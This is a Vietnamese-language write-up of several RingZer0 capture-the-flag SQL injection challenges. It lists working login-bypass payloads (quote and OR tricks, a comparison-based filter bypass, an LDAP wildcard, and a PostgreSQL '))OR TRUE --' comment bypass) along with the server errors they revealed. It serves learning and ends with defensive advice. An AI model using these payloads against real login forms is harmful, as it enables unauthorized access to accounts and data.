RingZer0 SqlInjection Writeup

Mở đầu

Lang thang trên mấy diễn đàn tình cờ biết được trang này là nơi để training về các vấn đề tấn công và bảo mật.Các bài tập ở đây đều không có lời giải mà người chơi phải tự mày mò để làm được,chỉ có đề bài và cũng không có hướng dẫn nào cả @@. Sau vài ngày lần mò trong category SqlInjection mình cũng đã kiếm được vài chục Point của page.Xin Writeup lại 1 số hi vọng có ích cho ace có cùng sở thích.Nếu ace nào muốn tự tìm flag thì click vào challenge name để tới challenge page.

Let's Go

Lập tài khoản tại đây và chọn mục SqlInjection. 1111.png List các Challenge sẽ hiển thị ra, chọn và bắt đầu thôi.

Most basic SQLi pattern.

2222.png đề bài là 1 form login và kèm theo description Most Basic ,vậy chắc đây là kiểu sqlInjection đơn giản nhất rồi.Thử vào

Username: 1' or 1=1
Password: 1' or 1=1

lỗi trả về

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND password = '1' or 1=1'' at line 1

như vậy trong sql command chắc có dạng:

SELECT xx FROM table Where username='$user' AND password='$password';

sửa lại cho đúng syntax

Username: 1' or '1=1
Password: 1' or '1=1

bingo! ta đã qua được challenge đầu tiên.

ACL rulezzz the world.

đề bài là 1 combobox thử chọn option và page chạy 1 cách bình thưởng.Thử view source của page. như vậy các value của Option đang được để cố định thử sửa lại value admin thành admin' này và Post lên server nhận về error.

username=admin' --> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 4

như vậy sql trên server có dạng

    SELECT * From Table_Name Where username='$userName'

như Challenge 1 nhưng đây là kiểu Post param qua dialog box.Mở web Inspection 3333.png và chỉnh lại admin thành admin' OR 1='1 Post lên server và ta lấy được flag.

Login portal 1.

Đề bài lại là 1 form login.Quen thói cũ ta thử như Challenge 1 thôi. Nhận lại

Illegal characters detected.

Như vậy lần này mấy anh lập trình phía server đã thông minh hơn có check các ký tự không hợp lệ từ phía client.Sau một hồi search google ,có rất nhiều nguồn cho thấy việc check ký tự đề ngăn chặn sqlinjection phía server là không hiệu quả.Ta hoàn toàn có thể sử dụng các câu lệnh chỉ mang toàn ký tự để khai thác lỗi này.Cơ bản nhất thay vì sử dụng dấu '=' (mà server cho là Illegal character) thì ta sử dụng so sánh

username: admin' or '2' > '1
password: admin' or '2' > '1

quả nhiên là phép so sánh không bị chặn Illegal và ta lấy được Flag cần 😃.

Just another login form.

Đề bài thì vẫn như cũ vẫn là cái form y hệt 2 bài trên.Thử với

 1' or '1=1
 hoặc
 ' admin' or '2' > '1

thì nhận lại

Wrong username or password

như vậy phía server đã che giấu cách họ phát hiện sqlỊnection và bắt đầu có vẻ bế tắc.Thử với 1 số sqlcheat nhưng vẫn chỉ nhận lại err như trên.Như vậy có lẽ server đang dùng 1 cơ chế hoặc 1 protocol khác để thực hiện việc verify từ client.Tìm thêm 1 hồi và may mắn đọc được 1 bài write up từ Challenge trước về LDAP.Nhập 2 dấu * vào và submit ta lấy được flag.

Po po po po postgresql.

vâng vẫn là form login y hệt cái cũ thôi =)).Nhưng đề bài có chữ Postgresql nên phía server chắc là dùng cơ sở dữ liệu postgre rồi ạ.Biết là không thành công đâu nhưng ta vẫn thử với

 username :1' or '1=1

nhận lại

Illegal characters detected.

thử tiếp với

 ' admin' or '2' > '1

nhận lại

 ERROR: invalid input syntax for type boolean: "admin" LINE 1: SELECT * FROM users WHERE (username = ('admin' or '2' > '1 '... ^

như vậy sql server có dạng

  SELECT abc FROM xyz WHERE (username = ($user) AND password = ($pass));

vì trong command sử dụng () để giới hạn phạm vì của param tryền lên nên ta không thể dùng mệnh đề OR để cho kết quả luôn trả về true nữa.Thử với

 user name:'
 password : '

nhận lại

 ' in the username we can see the following error:
ERROR: syntax error at or near "da39a3ee5e6b4b0d3255bfef95601890afd80709" LINE 1: ...OM users WHERE (username = (''') AND password = ('da39a3ee5e... ^

như vậy password và username trước khi đem so sánh vào DB đã bị mã hóa thành 1 dạng khác do đó cũng không thể:

  1. cho always trả về giá trị true ở mỗi lần check user hoặc pass để sau đó AND lại là true.
  2. gán thêm true vào sau cả phần so sánh username, password.

chỉ còn 1 cách là bỏ bớt 1 phần command sql ở trên thông qua comment syntax thử với :

'))OR TRUE --

dấu -- đã bỏ qua phần check password ở phía sau.và Next challenge 😃.

Kết luận

  1. ringzer0 là trang khá hữu ích tìm hiểu từng phần cho từ beginer.Tuy nhiên việc không public các bài giải khiến người chơi phải tự mày mò và rất tốn thời gian để giải được 1 bài kiểu biết thì dễ không biết thì khó 😃.
  2. Sqlinjection rất đa dạng việc server che dấu lỗi trả về là phần gây khó khăn nhất cho attacker vì vậy khi lập trình server side phải chặn các trường hợp để lỗi hiển thị lên trên màn hình.
  3. Còn khá nhiều next Challenge hi vọng sẽ có ace tìm hiểu và chia sẻ.